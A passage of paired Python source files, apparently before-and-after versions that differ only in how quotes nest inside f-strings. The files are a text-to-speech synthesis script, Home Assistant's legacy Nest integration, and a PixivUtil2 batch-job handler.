decompressed = dynamic_range_decompression(melspecs)
decompressed_log10 = torch.log10(decompressed)
mu = torch.tensor(ckpt['stats']['mu']).to(device).unsqueeze(1)
var = torch.tensor(ckpt['stats']['var']).to(device).unsqueeze(1)
sigma = torch.sqrt(var)
melspecs = (decompressed_log10 - mu) / sigma
Generator = getattr(vocoder.models, ckpt['gtype'])
vocoder = Generator(**ckpt['config']).to(device)
vocoder.remove_weight_norm()
if ckpt['config']['out_channels'] > 1:
vocoder.pqmf = PQMF().to(device)
vocoder.load_state_dict(ckpt['model'])
if ckpt['config']['out_channels'] > 1:
waves = vocoder.pqmf.synthesis(vocoder(melspecs)).squeeze(1)
else:
waves = vocoder(melspecs).squeeze(1)
print(f"Generate {len(texts)} audios, total elapsed {time.time()-since:.3f}s. Done.")
print('Saving audio...')
outputs_dir = args.outputs_dir or hparams.synthesizer.outputs_dir
os.makedirs(outputs_dir, exist_ok=True)
for i, wav in enumerate(waves, start=1):
wav = wav.cpu().detach().numpy()
filename = osp.join(outputs_dir, f"{time.strftime("%Y-%m-%d")}_{i:03d}.wav")
write(filename, hparams.audio.sampling_rate, wav)
print(f"Audios saved to {outputs_dir}. Done.")
print(f'Done. ({time.time()-since:.3f}s)')
| #!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : train-duration.py
@Date : 2021/01/05, Tue
@Author : Atomicoo
@Version : 1.0
@Contact : atomicoo95@gmail.com
@License : (C)Copyright 2020-2021, ShiGroup-NLP-XMU
@Desc : Synthetize sentences into speech.
'''
__author__ = 'Atomicoo'
import argparse
import os
import os.path as osp
import time
from scipy.io.wavfile import write
import torch
from utils.hparams import HParam
from utils.transform import StandardNorm
from helpers.synthesizer import Synthesizer
import vocoder.models
from vocoder.layers import PQMF
from utils.audio import dynamic_range_decompression
from datasets.dataset import TextProcessor
from models import ParallelText2Mel
from utils.utils import select_device, get_last_chkpt_path
try:
from helpers.manager import GPUManager
except ImportError as err:
print(err); gm = None
else:
gm = GPUManager()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--batch_size", default=8, type=int, help="Batch size")
parser.add_argument("--checkpoint", default=None, type=str, help="Checkpoint file path")
parser.add_argument("--melgan_checkpoint", default=None, type=str, help="Checkpoint file path of melgan")
parser.add_argument("--input_texts", default=None, type=str, help="Input text file path")
parser.add_argument("--outputs_dir", default=None, type=str, help="Output wave file directory")
parser.add_argument("--device", default=None, help="cuda device or cpu")
parser.add_argument("--name", default="parallel", type=str, help="Append to logdir name")
parser.add_argument("--config", default=None, type=str, help="Config file path")
args = parser.parse_args()
if torch.cuda.is_available():
index = args.device if args.device else str(0 if gm is None else gm.auto_choice())
else:
index = 'cpu'
device = select_device(index)
hparams = HParam(args.config) \
if args.config else HParam(osp.join(osp.abspath(os.getcwd()), "config", "default.yaml"))
logdir = osp.join(hparams.trainer.logdir, f"%s-%s" % (hparams.data.dataset, args.name))
checkpoint = args.checkpoint or get_last_chkpt_path(logdir)
normalizer = StandardNorm(hparams.audio.spec_mean, hparams.audio.spec_std)
processor = TextProcessor(hparams.text)
text2mel = ParallelText2Mel(hparams.parallel)
text2mel.eval()
synthesizer = Synthesizer(
model=text2mel,
checkpoint=checkpoint,
processor=processor,
normalizer=normalizer,
device=device
)
print('Synthesizing...')
since = time.time()
text_file = args.input_texts or hparams.synthesizer.inputs_file_path
with open(text_file, 'r', encoding='utf-8') as fr:
texts = fr.read().strip().split('\n')
melspecs = synthesizer.inference(texts)
print(f"Inference {len(texts)} spectrograms, total elapsed {time.time()-since:.3f}s. Done.")
vocoder_checkpoint = args.melgan_checkpoint or \
osp.join(hparams.trainer.logdir, f"{hparams.data.dataset}-melgan", hparams.melgan.checkpoint)
ckpt = torch.load(vocoder_checkpoint, map_location=device)
# Ref: https://github.com/kan-bayashi/ParallelWaveGAN/issues/169
decompressed = dynamic_range_decompression(melspecs)
decompressed_log10 = torch.log10(decompressed)
mu = torch.tensor(ckpt['stats']['mu']).to(device).unsqueeze(1)
var = torch.tensor(ckpt['stats']['var']).to(device).unsqueeze(1)
sigma = torch.sqrt(var)
melspecs = (decompressed_log10 - mu) / sigma
Generator = getattr(vocoder.models, ckpt['gtype'])
vocoder = Generator(**ckpt['config']).to(device)
vocoder.remove_weight_norm()
if ckpt['config']['out_channels'] > 1:
vocoder.pqmf = PQMF().to(device)
vocoder.load_state_dict(ckpt['model'])
if ckpt['config']['out_channels'] > 1:
waves = vocoder.pqmf.synthesis(vocoder(melspecs)).squeeze(1)
else:
waves = vocoder(melspecs).squeeze(1)
print(f"Generate {len(texts)} audios, total elapsed {time.time()-since:.3f}s. Done.")
print('Saving audio...')
outputs_dir = args.outputs_dir or hparams.synthesizer.outputs_dir
os.makedirs(outputs_dir, exist_ok=True)
for i, wav in enumerate(waves, start=1):
wav = wav.cpu().detach().numpy()
filename = osp.join(outputs_dir, f"{time.strftime('%Y-%m-%d')}_{i:03d}.wav")
write(filename, hparams.audio.sampling_rate, wav)
print(f"Audios saved to {outputs_dir}. Done.")
print(f'Done. ({time.time()-since:.3f}s)')
|
"""Support for Nest devices."""
# mypy: ignore-errors
from datetime import datetime, timedelta
import logging
import threading
from nest import Nest
from nest.nest import APIError, AuthorizationError
import voluptuous as vol
from homeassistant import config_entries
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import (
CONF_CLIENT_ID,
CONF_CLIENT_SECRET,
CONF_FILENAME,
CONF_STRUCTURE,
EVENT_HOMEASSISTANT_START,
EVENT_HOMEASSISTANT_STOP,
Platform,
)
from homeassistant.core import HomeAssistant, callback
from homeassistant.helpers import config_validation as cv
from homeassistant.helpers.dispatcher import async_dispatcher_connect, dispatcher_send
from homeassistant.helpers.entity import DeviceInfo, Entity
from . import local_auth
from .const import DATA_NEST, DATA_NEST_CONFIG, DOMAIN, SIGNAL_NEST_UPDATE
_CONFIGURING = {}
_LOGGER = logging.getLogger(__name__)
PLATFORMS = [
Platform.BINARY_SENSOR,
Platform.CAMERA,
Platform.CLIMATE,
Platform.SENSOR,
]
# Configuration for the legacy nest API
SERVICE_CANCEL_ETA = "cancel_eta"
SERVICE_SET_ETA = "set_eta"
NEST_CONFIG_FILE = "nest.conf"
ATTR_ETA = "eta"
ATTR_ETA_WINDOW = "eta_window"
ATTR_STRUCTURE = "structure"
ATTR_TRIP_ID = "trip_id"
AWAY_MODE_AWAY = "away"
AWAY_MODE_HOME = "home"
ATTR_AWAY_MODE = "away_mode"
SERVICE_SET_AWAY_MODE = "set_away_mode"
# Services for the legacy API
SET_AWAY_MODE_SCHEMA = vol.Schema(
{
vol.Required(ATTR_AWAY_MODE): vol.In([AWAY_MODE_AWAY, AWAY_MODE_HOME]),
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
SET_ETA_SCHEMA = vol.Schema(
{
vol.Required(ATTR_ETA): cv.time_period,
vol.Optional(ATTR_TRIP_ID): cv.string,
vol.Optional(ATTR_ETA_WINDOW): cv.time_period,
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
CANCEL_ETA_SCHEMA = vol.Schema(
{
vol.Required(ATTR_TRIP_ID): cv.string,
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
def nest_update_event_broker(hass, nest):
"""
Dispatch SIGNAL_NEST_UPDATE to devices when nest stream API received data.
Used for the legacy nest API.
Runs in its own thread.
"""
_LOGGER.debug("Listening for nest.update_event")
while hass.is_running:
nest.update_event.wait()
if not hass.is_running:
break
nest.update_event.clear()
_LOGGER.debug("Dispatching nest data update")
dispatcher_send(hass, SIGNAL_NEST_UPDATE)
_LOGGER.debug("Stop listening for nest.update_event")
async def async_setup_legacy(hass: HomeAssistant, config: dict) -> bool:
"""Set up Nest components using the legacy nest API."""
if DOMAIN not in config:
return True
conf = config[DOMAIN]
local_auth.initialize(hass, conf[CONF_CLIENT_ID], conf[CONF_CLIENT_SECRET])
filename = config.get(CONF_FILENAME, NEST_CONFIG_FILE)
access_token_cache_file = hass.config.path(filename)
hass.async_create_task(
hass.config_entries.flow.async_init(
DOMAIN,
context={"source": config_entries.SOURCE_IMPORT},
data={"nest_conf_path": access_token_cache_file},
)
)
# Store config to be used during entry setup
hass.data[DATA_NEST_CONFIG] = conf
return True
async def async_setup_legacy_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up Nest from legacy config entry."""
nest = Nest(access_token=entry.data["tokens"]["access_token"])
_LOGGER.debug("proceeding with setup")
conf = hass.data.get(DATA_NEST_CONFIG, {})
hass.data[DATA_NEST] = NestLegacyDevice(hass, conf, nest)
if not await hass.async_add_executor_job(hass.data[DATA_NEST].initialize):
return False
hass.config_entries.async_setup_platforms(entry, PLATFORMS)
def validate_structures(target_structures):
all_structures = [structure.name for structure in nest.structures]
for target in target_structures:
if target not in all_structures:
_LOGGER.info("Invalid structure: %s", target)
def set_away_mode(service):
"""Set the away mode for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
_LOGGER.info(
"Setting away mode for: %s to: %s",
structure.name,
service.data[ATTR_AWAY_MODE],
)
structure.away = service.data[ATTR_AWAY_MODE]
def set_eta(service):
"""Set away mode to away and include ETA for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
if structure.thermostats:
_LOGGER.info(
"Setting away mode for: %s to: %s",
structure.name,
AWAY_MODE_AWAY,
)
structure.away = AWAY_MODE_AWAY
now = datetime.utcnow()
trip_id = service.data.get(
ATTR_TRIP_ID, f"trip_{int(now.timestamp())}"
)
eta_begin = now + service.data[ATTR_ETA]
eta_window = service.data.get(ATTR_ETA_WINDOW, timedelta(minutes=1))
eta_end = eta_begin + eta_window
_LOGGER.info(
"Setting ETA for trip: %s, "
"ETA window starts at: %s and ends at: %s",
trip_id,
eta_begin,
eta_end,
)
structure.set_eta(trip_id, eta_begin, eta_end)
else:
_LOGGER.info(
"No thermostats found in structure: %s, unable to set ETA",
structure.name,
)
def cancel_eta(service):
"""Cancel ETA for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
if structure.thermostats:
trip_id = service.data[ATTR_TRIP_ID]
_LOGGER.info("Cancelling ETA for trip: %s", trip_id)
structure.cancel_eta(trip_id)
else:
_LOGGER.info(
"No thermostats found in structure: %s, "
"unable to cancel ETA",
structure.name,
)
hass.services.async_register(
DOMAIN, SERVICE_SET_AWAY_MODE, set_away_mode, schema=SET_AWAY_MODE_SCHEMA
)
hass.services.async_register(
DOMAIN, SERVICE_SET_ETA, set_eta, schema=SET_ETA_SCHEMA
)
hass.services.async_register(
DOMAIN, SERVICE_CANCEL_ETA, cancel_eta, schema=CANCEL_ETA_SCHEMA
)
@callback
def start_up(event):
"""Start Nest update event listener."""
threading.Thread(
name="Nest update listener",
target=nest_update_event_broker,
args=(hass, nest),
).start()
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, start_up)
@callback
def shut_down(event):
"""Stop Nest update event listener."""
nest.update_event.set()
entry.async_on_unload(
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, shut_down)
)
_LOGGER.debug("async_setup_nest is done")
return True
class NestLegacyDevice:
"""Structure Nest functions for hass for legacy API."""
def __init__(self, hass, conf, nest):
"""Init Nest Devices."""
self.hass = hass
self.nest = nest
self.local_structure = conf.get(CONF_STRUCTURE)
def initialize(self):
"""Initialize Nest."""
try:
# Do not optimize next statement, it is here for initialize
# persistence Nest API connection.
structure_names = [s.name for s in self.nest.structures]
if self.local_structure is None:
self.local_structure = structure_names
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
return False
return True
def structures(self):
"""Generate a list of structures."""
try:
for structure in self.nest.structures:
if structure.name not in self.local_structure:
_LOGGER.debug(
"Ignoring structure %s, not in %s",
structure.name,
self.local_structure,
)
continue
yield structure
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
def thermostats(self):
"""Generate a list of thermostats."""
return self._devices("thermostats")
def smoke_co_alarms(self):
"""Generate a list of smoke co alarms."""
return self._devices("smoke_co_alarms")
def cameras(self):
"""Generate a list of cameras."""
return self._devices("cameras")
def _devices(self, device_type):
"""Generate a list of Nest devices."""
try:
for structure in self.nest.structures:
if structure.name not in self.local_structure:
_LOGGER.debug(
"Ignoring structure %s, not in %s",
structure.name,
self.local_structure,
)
continue
for device in getattr(structure, device_type, []):
try:
# Do not optimize next statement,
# it is here for verify Nest API permission.
device.name_long
except KeyError:
_LOGGER.warning(
"Cannot retrieve device name for [%s]"
", please check your Nest developer "
"account permission settings",
device.serial,
)
continue
yield (structure, device)
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
class NestSensorDevice(Entity):
"""Representation of a Nest sensor."""
def __init__(self, structure, device, variable):
"""Initialize the sensor."""
self.structure = structure
self.variable = variable
if device is not None:
# device specific
self.device = device
self._name = f"{self.device.name_long} {self.variable.replace("_", " ")}"
else:
# structure only
self.device = structure
self._name = f"{self.structure.name} {self.variable.replace("_", " ")}"
self._state = None
self._unit = None
@property
def name(self):
"""Return the name of the nest, if any."""
return self._name
@property
def should_poll(self):
"""Do not need poll thanks using Nest streaming API."""
return False
@property
def unique_id(self):
"""Return unique id based on device serial and variable."""
return f"{self.device.serial}-{self.variable}"
@property
def device_info(self) -> DeviceInfo:
"""Return information about the device."""
if not hasattr(self.device, "name_long"):
name = self.structure.name
model = "Structure"
else:
name = self.device.name_long
if self.device.is_thermostat:
model = "Thermostat"
elif self.device.is_camera:
model = "Camera"
elif self.device.is_smoke_co_alarm:
model = "Nest Protect"
else:
model = None
return DeviceInfo(
identifiers={(DOMAIN, self.device.serial)},
manufacturer="Nest Labs",
model=model,
name=name,
)
def update(self):
"""Do not use NestSensorDevice directly."""
raise NotImplementedError
async def async_added_to_hass(self):
"""Register update signal handler."""
async def async_update_state():
"""Update sensor state."""
await self.async_update_ha_state(True)
self.async_on_remove(
async_dispatcher_connect(self.hass, SIGNAL_NEST_UPDATE, async_update_state)
)
| """Support for Nest devices."""
# mypy: ignore-errors
from datetime import datetime, timedelta
import logging
import threading
from nest import Nest
from nest.nest import APIError, AuthorizationError
import voluptuous as vol
from homeassistant import config_entries
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import (
CONF_CLIENT_ID,
CONF_CLIENT_SECRET,
CONF_FILENAME,
CONF_STRUCTURE,
EVENT_HOMEASSISTANT_START,
EVENT_HOMEASSISTANT_STOP,
Platform,
)
from homeassistant.core import HomeAssistant, callback
from homeassistant.helpers import config_validation as cv
from homeassistant.helpers.dispatcher import async_dispatcher_connect, dispatcher_send
from homeassistant.helpers.entity import DeviceInfo, Entity
from . import local_auth
from .const import DATA_NEST, DATA_NEST_CONFIG, DOMAIN, SIGNAL_NEST_UPDATE
_CONFIGURING = {}
_LOGGER = logging.getLogger(__name__)
PLATFORMS = [
Platform.BINARY_SENSOR,
Platform.CAMERA,
Platform.CLIMATE,
Platform.SENSOR,
]
# Configuration for the legacy nest API
SERVICE_CANCEL_ETA = "cancel_eta"
SERVICE_SET_ETA = "set_eta"
NEST_CONFIG_FILE = "nest.conf"
ATTR_ETA = "eta"
ATTR_ETA_WINDOW = "eta_window"
ATTR_STRUCTURE = "structure"
ATTR_TRIP_ID = "trip_id"
AWAY_MODE_AWAY = "away"
AWAY_MODE_HOME = "home"
ATTR_AWAY_MODE = "away_mode"
SERVICE_SET_AWAY_MODE = "set_away_mode"
# Services for the legacy API
SET_AWAY_MODE_SCHEMA = vol.Schema(
{
vol.Required(ATTR_AWAY_MODE): vol.In([AWAY_MODE_AWAY, AWAY_MODE_HOME]),
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
SET_ETA_SCHEMA = vol.Schema(
{
vol.Required(ATTR_ETA): cv.time_period,
vol.Optional(ATTR_TRIP_ID): cv.string,
vol.Optional(ATTR_ETA_WINDOW): cv.time_period,
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
CANCEL_ETA_SCHEMA = vol.Schema(
{
vol.Required(ATTR_TRIP_ID): cv.string,
vol.Optional(ATTR_STRUCTURE): vol.All(cv.ensure_list, [cv.string]),
}
)
def nest_update_event_broker(hass, nest):
"""
Dispatch SIGNAL_NEST_UPDATE to devices when nest stream API received data.
Used for the legacy nest API.
Runs in its own thread.
"""
_LOGGER.debug("Listening for nest.update_event")
while hass.is_running:
nest.update_event.wait()
if not hass.is_running:
break
nest.update_event.clear()
_LOGGER.debug("Dispatching nest data update")
dispatcher_send(hass, SIGNAL_NEST_UPDATE)
_LOGGER.debug("Stop listening for nest.update_event")
async def async_setup_legacy(hass: HomeAssistant, config: dict) -> bool:
"""Set up Nest components using the legacy nest API."""
if DOMAIN not in config:
return True
conf = config[DOMAIN]
local_auth.initialize(hass, conf[CONF_CLIENT_ID], conf[CONF_CLIENT_SECRET])
filename = config.get(CONF_FILENAME, NEST_CONFIG_FILE)
access_token_cache_file = hass.config.path(filename)
hass.async_create_task(
hass.config_entries.flow.async_init(
DOMAIN,
context={"source": config_entries.SOURCE_IMPORT},
data={"nest_conf_path": access_token_cache_file},
)
)
# Store config to be used during entry setup
hass.data[DATA_NEST_CONFIG] = conf
return True
async def async_setup_legacy_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:
"""Set up Nest from legacy config entry."""
nest = Nest(access_token=entry.data["tokens"]["access_token"])
_LOGGER.debug("proceeding with setup")
conf = hass.data.get(DATA_NEST_CONFIG, {})
hass.data[DATA_NEST] = NestLegacyDevice(hass, conf, nest)
if not await hass.async_add_executor_job(hass.data[DATA_NEST].initialize):
return False
hass.config_entries.async_setup_platforms(entry, PLATFORMS)
def validate_structures(target_structures):
all_structures = [structure.name for structure in nest.structures]
for target in target_structures:
if target not in all_structures:
_LOGGER.info("Invalid structure: %s", target)
def set_away_mode(service):
"""Set the away mode for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
_LOGGER.info(
"Setting away mode for: %s to: %s",
structure.name,
service.data[ATTR_AWAY_MODE],
)
structure.away = service.data[ATTR_AWAY_MODE]
def set_eta(service):
"""Set away mode to away and include ETA for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
if structure.thermostats:
_LOGGER.info(
"Setting away mode for: %s to: %s",
structure.name,
AWAY_MODE_AWAY,
)
structure.away = AWAY_MODE_AWAY
now = datetime.utcnow()
trip_id = service.data.get(
ATTR_TRIP_ID, f"trip_{int(now.timestamp())}"
)
eta_begin = now + service.data[ATTR_ETA]
eta_window = service.data.get(ATTR_ETA_WINDOW, timedelta(minutes=1))
eta_end = eta_begin + eta_window
_LOGGER.info(
"Setting ETA for trip: %s, "
"ETA window starts at: %s and ends at: %s",
trip_id,
eta_begin,
eta_end,
)
structure.set_eta(trip_id, eta_begin, eta_end)
else:
_LOGGER.info(
"No thermostats found in structure: %s, unable to set ETA",
structure.name,
)
def cancel_eta(service):
"""Cancel ETA for a Nest structure."""
if ATTR_STRUCTURE in service.data:
target_structures = service.data[ATTR_STRUCTURE]
validate_structures(target_structures)
else:
target_structures = hass.data[DATA_NEST].local_structure
for structure in nest.structures:
if structure.name in target_structures:
if structure.thermostats:
trip_id = service.data[ATTR_TRIP_ID]
_LOGGER.info("Cancelling ETA for trip: %s", trip_id)
structure.cancel_eta(trip_id)
else:
_LOGGER.info(
"No thermostats found in structure: %s, "
"unable to cancel ETA",
structure.name,
)
hass.services.async_register(
DOMAIN, SERVICE_SET_AWAY_MODE, set_away_mode, schema=SET_AWAY_MODE_SCHEMA
)
hass.services.async_register(
DOMAIN, SERVICE_SET_ETA, set_eta, schema=SET_ETA_SCHEMA
)
hass.services.async_register(
DOMAIN, SERVICE_CANCEL_ETA, cancel_eta, schema=CANCEL_ETA_SCHEMA
)
@callback
def start_up(event):
"""Start Nest update event listener."""
threading.Thread(
name="Nest update listener",
target=nest_update_event_broker,
args=(hass, nest),
).start()
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, start_up)
@callback
def shut_down(event):
"""Stop Nest update event listener."""
nest.update_event.set()
entry.async_on_unload(
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, shut_down)
)
_LOGGER.debug("async_setup_nest is done")
return True
class NestLegacyDevice:
"""Structure Nest functions for hass for legacy API."""
def __init__(self, hass, conf, nest):
"""Init Nest Devices."""
self.hass = hass
self.nest = nest
self.local_structure = conf.get(CONF_STRUCTURE)
def initialize(self):
"""Initialize Nest."""
try:
# Do not optimize next statement, it is here for initialize
# persistence Nest API connection.
structure_names = [s.name for s in self.nest.structures]
if self.local_structure is None:
self.local_structure = structure_names
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
return False
return True
def structures(self):
"""Generate a list of structures."""
try:
for structure in self.nest.structures:
if structure.name not in self.local_structure:
_LOGGER.debug(
"Ignoring structure %s, not in %s",
structure.name,
self.local_structure,
)
continue
yield structure
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
def thermostats(self):
"""Generate a list of thermostats."""
return self._devices("thermostats")
def smoke_co_alarms(self):
"""Generate a list of smoke co alarms."""
return self._devices("smoke_co_alarms")
def cameras(self):
"""Generate a list of cameras."""
return self._devices("cameras")
def _devices(self, device_type):
"""Generate a list of Nest devices."""
try:
for structure in self.nest.structures:
if structure.name not in self.local_structure:
_LOGGER.debug(
"Ignoring structure %s, not in %s",
structure.name,
self.local_structure,
)
continue
for device in getattr(structure, device_type, []):
try:
# Do not optimize next statement,
# it is here for verify Nest API permission.
device.name_long
except KeyError:
_LOGGER.warning(
"Cannot retrieve device name for [%s]"
", please check your Nest developer "
"account permission settings",
device.serial,
)
continue
yield (structure, device)
except (AuthorizationError, APIError, OSError) as err:
_LOGGER.error("Connection error while access Nest web service: %s", err)
class NestSensorDevice(Entity):
"""Representation of a Nest sensor."""
def __init__(self, structure, device, variable):
"""Initialize the sensor."""
self.structure = structure
self.variable = variable
if device is not None:
# device specific
self.device = device
self._name = f"{self.device.name_long} {self.variable.replace('_', ' ')}"
else:
# structure only
self.device = structure
self._name = f"{self.structure.name} {self.variable.replace('_', ' ')}"
self._state = None
self._unit = None
@property
def name(self):
"""Return the name of the nest, if any."""
return self._name
@property
def should_poll(self):
"""Do not need poll thanks using Nest streaming API."""
return False
@property
def unique_id(self):
"""Return unique id based on device serial and variable."""
return f"{self.device.serial}-{self.variable}"
@property
def device_info(self) -> DeviceInfo:
"""Return information about the device."""
if not hasattr(self.device, "name_long"):
name = self.structure.name
model = "Structure"
else:
name = self.device.name_long
if self.device.is_thermostat:
model = "Thermostat"
elif self.device.is_camera:
model = "Camera"
elif self.device.is_smoke_co_alarm:
model = "Nest Protect"
else:
model = None
return DeviceInfo(
identifiers={(DOMAIN, self.device.serial)},
manufacturer="Nest Labs",
model=model,
name=name,
)
def update(self):
"""Do not use NestSensorDevice directly."""
raise NotImplementedError
async def async_added_to_hass(self):
"""Register update signal handler."""
async def async_update_state():
"""Update sensor state."""
await self.async_update_ha_state(True)
self.async_on_remove(
async_dispatcher_connect(self.hass, SIGNAL_NEST_UPDATE, async_update_state)
)
|
# -*- coding: utf-8 -*-
import os
import demjson
import PixivArtistHandler
import PixivHelper
import PixivImageHandler
import PixivTagsHandler
import PixivUtil2
_default_batch_filename = "./batch_job.json"
class JobOption(object):
filenameFormat = ""
filenameMangaFormat = ""
filenameInfoFormat = ""
filenameMangaInfoFormat = ""
avatarNameFormat = ""
rootDirectory = ""
useTagsAsDir = False
r18mode = False
def __init__(self, job, _config):
if _config is None:
raise Exception("Cannot get default configuration, aborting...")
# set default option from config
self.filenameFormat = _config.filenameFormat
self.filenameMangaFormat = _config.filenameMangaFormat
self.filenameInfoFormat = _config.filenameInfoFormat
self.filenameMangaInfoFormat = _config.filenameMangaInfoFormat
self.avatarNameFormat = _config.avatarNameFormat
self.rootDirectory = _config.rootDirectory
self.useTagsAsDir = _config.useTagsAsDir
self.r18mode = _config.r18mode
if "option" in job and job["option"] is not None:
# need to check if the job option exists for each option
option_data = job["option"]
if "filenameFormat" in option_data:
self.filenameFormat = option_data["filenameFormat"]
if "filenameMangaFormat" in option_data:
self.filenameMangaFormat = option_data["filenameMangaFormat"]
if "filenameInfoFormat" in option_data:
self.filenameInfoFormat = option_data["filenameInfoFormat"]
if "filenameMangaInfoFormat" in option_data:
self.filenameMangaInfoFormat = option_data["filenameMangaInfoFormat"]
if "avatarNameFormat" in option_data:
self.avatarNameFormat = option_data["avatarNameFormat"]
if "rootDirectory" in option_data:
self.rootDirectory = option_data["rootDirectory"]
if "useTagsAsDir" in option_data:
self.useTagsAsDir = option_data["useTagsAsDir"]
if "r18mode" in option_data:
self.r18mode = option_data["r18mode"]
def handle_members(caller, job, job_name, job_option):
member_ids = list()
if "member_ids" in job:
print("Multi Member IDs")
member_ids = job["member_ids"]
elif "member_id" in job:
member_id = job["member_id"]
member_ids.append(member_id)
else:
print(f"No member_id or member_ids found in {job_name}!")
return
start_page = 1
if "start_page" in job:
start_page = int(job["start_page"])
end_page = 0
if "end_page" in job:
end_page = int(job["end_page"])
from_bookmark = False
if "from_bookmark" in job:
from_bookmark = bool(job["from_bookmark"])
tags = None
if "tags" in job and len(job["tags"]) > 0:
tags = job["tags"]
for member_id in member_ids:
PixivArtistHandler.process_member(caller,
member_id=member_id,
user_dir=job_option.rootDirectory,
page=start_page,
end_page=end_page,
bookmark=from_bookmark,
tags=tags,
title_prefix=job_name,
job_option=job_option)
def handle_images(caller: PixivUtil2, job, job_name, job_option):
image_ids = list()
if "image_ids" in job:
image_ids = job["image_ids"]
print(f"Found multiple images: {len(image_ids)}")
elif "image_id" in job:
image_id = job["image_id"]
image_ids.append(image_id)
else:
print(f"No image_id or image_ids found in {job_name}!")
return
for image_id in image_ids:
PixivImageHandler.process_image(caller,
image_id=image_id,
user_dir=job_option.rootDirectory,
title_prefix=job_name,
job_option=job_option)
print("done.")
def handle_tags(caller, job, job_name, job_option):
if "tags" in job and len(job["tags"]) > 0:
tags = job["tags"]
else:
print(f"No tags found or empty tags in {job_name}!")
start_page = 1
if "start_page" in job:
start_page = int(job["start_page"])
end_page = 0
if "end_page" in job:
end_page = int(job["end_page"])
wild_card = True
if "wild_card" in job:
wild_card = bool(job["wild_card"])
title_caption = False
if "title_caption" in job:
title_caption = bool(job["title_caption"])
start_date = None
if "start_date" in job and len(job["start_date"]) == 10:
try:
start_date = PixivHelper.check_date_time(job["start_date"])
except BaseException:
raise Exception(f"Invalid start_date: {job["start_date"]} in {job_name}.")
end_date = None
if "end_date" in job and len(job["end_date"]) == 10:
try:
end_date = PixivHelper.check_date_time(job["end_date"])
except BaseException:
raise Exception(f"Invalid end_date: {job["end_date"]} in {job_name}.")
member_id = None
if "member_id" in job:
member_id = bool(job["member_id"])
bookmark_count = None
if "bookmark_count" in job:
bookmark_count = int(job["bookmark_count"])
oldest_first = False
if "oldest_first" in job:
oldest_first = bool(job["oldest_first"])
type_mode = "a"
if "type_mode" in job:
if job["type_mode"] in {'a', 'i', 'm'}:
type_mode = job["type_mode"]
else:
raise Exception(f"Invalid type_mode: {job["type_mode"]} in {job_name}.")
PixivTagsHandler.process_tags(caller,
tags,
page=start_page,
end_page=end_page,
wild_card=wild_card,
title_caption=title_caption,
start_date=start_date,
end_date=end_date,
use_tags_as_dir=job_option.useTagsAsDir,
member_id=member_id,
bookmark_count=bookmark_count,
oldest_first=oldest_first,
type_mode=type_mode,
job_option=job_option)
def process_batch_job(caller: PixivUtil2):
caller.set_console_title("Batch Menu")
if os.path.exists(_default_batch_filename):
jobs_file = open(_default_batch_filename, encoding="utf-8")
jobs = demjson.decode(jobs_file.read())
for job_name in jobs["jobs"]:
print(f"Processing {job_name}")
curr_job = jobs["jobs"][job_name]
if "enabled" not in curr_job or not bool(curr_job["enabled"]):
print(f"Skipping {job_name} because not enabled.")
continue
if "job_type" not in curr_job:
print(f"Cannot find job_type in {job_name}")
continue
job_option = JobOption(curr_job, caller.__config__)
if curr_job["job_type"] == '1':
handle_members(caller, curr_job, job_name, job_option)
elif curr_job["job_type"] == '2':
handle_images(caller, curr_job, job_name, job_option)
elif curr_job["job_type"] == '3':
handle_tags(caller, curr_job, job_name, job_option)
else:
print(f"Unsupported job_type {curr_job["job_type"]} in {job_name}")
else:
print(f"Cannot found {_default_batch_filename} in the application folder, see https://github.com/Nandaka/PixivUtil2/wiki/Using-Batch-Job-(Experimental) for example. ")
# restore original method
# PixivHelper.print_and_log = temp_printer
def notifier(level, msg, exception=None, newline=True, end=None):
if level is None:
level = ""
if level == "debug":
return
msg = msg.replace("\n", "")
msg = "{0:5} - {1}".format(level, msg)
msg = msg.ljust(150)
print(msg, end='\r')
if __name__ == '__main__':
import PixivUtil2
process_batch_job(PixivUtil2)
| # -*- coding: utf-8 -*-
